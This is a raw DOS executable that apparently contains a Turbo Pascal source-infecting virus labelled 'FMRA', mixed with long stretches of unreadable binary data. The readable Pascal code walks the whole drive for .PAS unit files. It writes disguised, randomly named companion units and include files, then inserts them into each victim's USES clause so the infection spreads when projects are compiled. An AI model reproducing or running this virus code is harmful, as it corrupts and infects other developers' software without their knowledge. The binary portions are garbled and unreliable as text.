MZc0ABm 38@;f6@EPUf|3J,Rqv(?Qez #6;Qlq05DIdw1<AXcn  ! , 7 H                    = w         $ 1 < A r         " 1 ; I S n   $7;NNsNN+NAN`NFMRA was started!N U$WWjd N@N1NUV!ӎÌv0ۍWWh N0䉆;*PGN;u܍W~Wh N.pasƆF0PN@sƆ:wVjNAWW NWP NC NWh N:uWWW NWC NINWNN tW!N/W~Wh N_WjnWj NFFWjWC NF0^Wj N~ uFFFF0@< weFFF0^WF0^W Nu0WjkWC NF0^Wj NF~ u~ u~uuӎÌv0~ WN~WN~ W/ Nt~ WWh) NNƆ0WWo N ~m0WWo NW0P00Pl N0^WWh0P Ns te~WWjd N@N~W!N~ W!N~ Wj N~WW N .pas#39'#38{$I .inc}UNITUNIT ;.incCONSTFMRA_MaxConst = 7FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =); Scheriff.pasUSES {$IFNDEF D+} , {$ENDIF D+} ӎÌv0ۍWjWj NWWW NWC NINWNN tdži WWh NWWo N ~>WWo NWjl NWWh N뮿WWo N ~>WWo NWjl NWWh N뮿WWo N=u3WW NWC NWC NWh NWWo N=u3WW NWC NWC NWh NWWjd N@N tW!NWWj2WC NINWWWW NWC NWWW NWC NINWNN tmWWjd N@NWWjd Njh j Nj;jN@NWWjd N@NWj(jN@NdžWj'jNi Wjd Nj'jNj,jN@NuWj'jNZWjd Nj'jN(Wjd N@NW!NWWjWC NINWWWW NWC NEWWINWNN tW+WINWNW/ NtWWh) NN8WWWjo N ~PW>W NWC NLWC NWh8WWWo NP NWWjd N@NMW!NW!NWj NWW N{$IFNDEFIMPLEMENTATIONӎÌv0ۍWWINWNN tƆW/ NuVWWh) NNN WWo N ~Ɔ"WWW W NuƆ뛍W!Nt W-\*.*....PASNӎÌ~v1FFF0{\t&W~W N2 WC N~WjO NW~W N4 WC NXWjO NXWj?BW@>"tW$t``W8 W NtO`W: W Nt>jNFVFV~&E &U`W~Wj NFVFVW$tW$tXWnWh NnWX0HHPjl NWnW N`WC NnWh NnWWWW|@W= W NuW$unWrBW>@F FuW~W N~WC NXWjO NXW/ NN tFVFV~&E &UFVvvjNWXW N2 WC NXWjO NN u XW~WXWjO NX0HX:t F0HXXW/ N:PWNj~WjO NF0{\u~WF0Pjl NWFP N WC NWh NPGN0-AP򍾰WFPGN0-AP~W/ NUbUN]U($W $WN$W $WN]˴<t <vU2$3 @4l&&:t&<ҹ78%!Î4&&<t<rPWX t-J0@*u&, %ôP0X u<wʴv3PU؀>t Xπ> u t^C6G#m6W 6w6O6o:w':w#xx:w:.w A>6%>ʊ˸PX>:u2ˋ6W6wr:w6r :6w**ˋ6Gt$ &p6G$&&ˀˠˋ6O43&3-r&:tË6_4;sau aCBBa$aˀ>utˠ u2 u & uˋ6EEE ]EgME06}ˁ}t E׸L؉EM]MMM3U~&UJJ&u&} 3\<t4<t0<tDI<t'<t#<t7<tF< tO< r;t&C;v t }K;t&< rjC둀>t&C N& CC~3&E&] ]6&M&)M&} >u &G33  SQRPrX<t*<t-< t3< t5 2RcZ:v O:t -ZY[:6vQR>ZYô2 24Pڋ&<t!<t,< t5< t9G:vG04P&J2‹ȋcBJB;tcQRW+4&J2c>I:u8> tutë笫_ZYVWU]_^UPv ~?uRuntime error at . Portions Copyright (c) 1983,92 BorlandUF]rpUFNq]rV6 6&=>  >7DrT4;uû;Tw r;DsDT4;uá+  %> 6‹ʀ twpَό&=;6 t_&;Uwr&;EwWSQ& &]t3SQ&M&]+ڃ$&&E&M&]ό_& &]XZ3$;rw%;wWã  &&U3PXZ6p<rtp< tZuS;wrK;rE; rw=; s7&E&U؎nj&=;wr;wt RP Y[Ënj‹&M&];u:;u6; u; u >  W&&U$_&&U%3,˃>,uˡ, 6D&;U|&;r&;U|&;Ew˸r +s ;*r˸3ҋ66w3׫3Et N3O u :v t26 6G&E6G&E 6G&E3&E&E U~&E=t=t =t,f$RW%Z3&U&E&E Lt&E]U~&}t&}t,gPX t  &E]WW& t,_Ë6&U &M&?!r&E 3&E&E 6&U 3&M&@!r+te6&U 3&M&@!r36&v>!r3>,u5&u.&w&;w t+SR&W &_ +[&w u,hPQRWS3[_ZYX&w&;w uÃ>,u@&u9&O&++s3&w  +&&;u RS[Z u,iÃ>,uH&uA&O&++s3S&_ +[&&;u PRVS[^ZX u,iU^3u &tp]< t <t;u;t < tN3ø3U^@Xu &t-]U^&t >,u]S&_ t,S&_ t,U>,u8^&u'&&; u^&&; t&G&_ &],hU^ VJ~m>,u)&u%&G&&W&_ F&A;u^ _],iU^ L N~V G~+H]< t<t ;L N3U^&2^ V+~PX t vV F]U ^ ~Uύ~+tr ,j3Ћ]ˬ< w<t;u ì< v ; N3U FV ~d^ V+~QWK_Y] U^F 3]<tt< tt < w;uF IN3Ë6W0A!s,3UPv~O u :v t2V 0~V!s,v~ 0 u]UvF u!@F:\FFG!sv~N3 tC&&]UaF t*:u $,Aд!!:t, ~t;K]U 96]U :!]v~<r2V!s,܌66w2܌6w 66O:v2 ܌6 6w26O +r@6O }3;v3܌66w& 2&s&GUv t,2~& 2+rAGuNjًItˋv F3H+F]܌6w6&%G:v t2u:Ď66G܌6 6w6GU~}FW~ WPFHP~WW~ WvP~ Wvx] U~~\~~V~O~~FW~ WPFHPXW~ WFFPP>{~ WP ]63ɉ =}t }t<}0t U0!rZnN33ہ}t/D!€Nȋu}u+N33E׉EUM]EEN333ɋB!-s33ҋʋЋB!?!s33;t tC+йB!3ɋ@!Z܋6g6g= ƀu 2 <7.<59=O.0.&U.0,!.0ˋϾ y؃O&-A3ғ0:rO& u+333]&=+t&=-uNGItL&=$tH&: s%u6SRP[[[2ÃGЋ t y؃3xGIt&ar : r sɀ ru G y؃Ë6G 0 then break; Close (t); until False; FMRA_RandomName := S;END;PROCEDURE FMRA_RandomSelect;VAR I, J : Byte; Flag : Boolean;BEGIN* Exchange1 [1] := FMRA_RandomName (5); for I := 2 to 10 do9 Exchange1 [I] := FMRA_RandomName (14) + #39_#39; repeat Flag := True; for J := 1 to 9 do for I := J+1 to 10 do8 if Exchange1 [J] = Exchange1 [I] then begin@ Exchange1 [I] := FMRA_RandomName (14) + #39_#39; Flag := False; end; until Flag;END;6PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);VAR S : String; I, J : Byte;BEGIN ReSet (t); ReWrite (t1); While not Eof (t) do begin ReadLn (t, S);$ for I := 1 to 10 do begin7 while Pos (Exchange [I], S) > 0 do begin0 J := Pos (Exchange [I], S);: Delete (S, J, Length (Exchange [I]));2 Insert (Exchange1 [I], S, J); end; end; WriteLn (t1, S); end; Close (t1); Close (t); Erase (t); Rename (t1, S1);END;'procedure FMRA_InfectFile (S : String);var t1, t2 : Text; S1 : String; I, J : Integer; S2 : String [8];begin S2 := FMRA_RandomName (8);# Assign (t1, S2 + #39.pas#39); ReWrite (t1);! if IOResult <> 0 then Exit;* for I := 1 to FMRA_MaxConst do begin S1 := FMRA_Const [I];0 while Pos (#39#38#39, S1) > 0 do begin) J := Pos (#39#38#39, S1);" Delete (S1, J, 3);$ Insert (#38, S1, J); end;0 while Pos (#39#38#39, S1) > 0 do begin) J := Pos (#39#38#39, S1);" Delete (S1, J, 3);* Insert (#39#38#39, S1, J); end;* if Pos (#39{$I #39, S1) = 1 then1 S1 := #39{$I #39 + S2 + #39.inc}#39;* if Pos (#39UNIT#39, S1) = 1 then. S1 := #39UNIT #39 + S2 + #39;#39; WriteLn (t1, S1); end; Close (t1);4 Assign (t2, FMRA_RandomName (8) + #39.pas#39); FMRA_RandomSelect;, FMRA_Rename (t1, t2, S2 + #39.pas#39);# Assign (t1, S2 + #39.inc#39); ReWrite (t1);! if IOResult <> 0 then Exit; WriteLn (t1, #39CONST#39);C WriteLn (t1, #39FMRA_MaxConst = #39, FMRA_MaxConst, #39;#39);R WriteLn (t1, #39FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =#39); WriteLn (t1, #39(#39);& for I := 1 to FMRA_MaxConst-1 do: WriteLn (t1, #38, FMRA_Const [I], #38, #39,#39);C WriteLn (t1, #38, FMRA_Const [FMRA_MaxConst], #38, #39);#39); Close (t1);4 Assign (t2, FMRA_RandomName (8) + #39.inc#39);, FMRA_Rename (t1, t2, S2 + #39.inc#39); Assign (t1, S); ReSet (t1);! if IOResult <> 0 then Exit;& Assign (t2, #39Scheriff.pas#39); ReWrite (t2);! while not Eof (t1) do begin ReadLn (t1, S1);7 if Pos (#39USES #39, FMRA_UpStr (S1)) > 0 thenp Insert (#39{$IFNDEF D+} #39 + S2 +#39, {$ENDIF D+} #39, S1, Pos (#39USES #39, FMRA_UpStr (S1)) + 5); WriteLn (t2, S1); end; Close (t2); Close (t1); Erase (t1); Rename (t2, S);end;+procedure FMRA_DetectUnitFile (S : String);var t : Text; Flag : Boolean; S1 : String;begin Assign (t, S); ReSet (t);! if IOResult <> 0 then Exit; Flag := False; while not Eof (t) do begin ReadLn (t, S1);6 if Pos (#39{$IFNDEF#39, S1) > 0 then begin Flag := False; Break; end;H if FMRA_UpStr (S1) = #39IMPLEMENTATION#39 then Flag := True; end; Close (t); if Flag then FMRA_InfectFile (S);end;&procedure FMRA_ScanDir(stdir:PathStr); var n,L : FMRA_PList; m : PathStr; St : string[79]; ch : char; DIR : DirStr; NAM : NameStr; EXT : EXTSTR;begin FileMode := 0; L := nil;) if stdir[Length(stdir)] <> #39\#39 then stdir:=stdir+#39\#39; m := stdir+#39*.*#39; FindFirst(m,AnyFile, FMRA_SR); while dosError=0 do beginK if ((FMRA_SR.Attr and Directory) <> 0) and ((FMRA_SR.Name<>#39.#39) and* (FMRA_SR.Name<>#39..#39)) then begin New(n); N^.Next := L; N^.Name := FMRA_SR.Name; L := N; end elseT if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin FMRA_S := m;) Delete (FMRA_S, Length (m)-2, 3);( FMRA_S := FMRA_S + FMRA_SR.Name;' FSPLIT (FMRA_S, DIR, NAM, EXT);B IF (EXT = #39.PAS#39) and (FMRA_SR.Attr and Hidden=0) THEN( FMRA_DetectUnitFile (FMRA_S); end; FindNext(FMRA_SR); end; while L<> nil do begin m := Stdir+L^.Name; ChDir(m); if IOResult <> 0 then Exit; n := L; L := L^.next; Dispose(n); m := m+#39\#39; if IOResult = 0 then FMRA_ScanDir(m); m := stdir;% if m[length(m)-1] <> #39:#39 then# m[0] := chr(length(stdir)-1); ChDir(m); end;end;PROCEDURE FMRA_Manager;VAR Home : PathStr; S : String;BEGIN Randomize; GetDir (0, Home);) if Home[Length(Home)] = #39\#39 then' Delete (Home, Length(Home), 1); S := Home [1] + #39:#39;) FMRA_ChDrive (ORD(UpCase(S[1]))-65); FMRA_ScanDir(S);, FMRA_ChDrive (ORD(UpCase(Home[1]))-65); ChDir(Home);END;BEGIN FMRA_Manager;END.@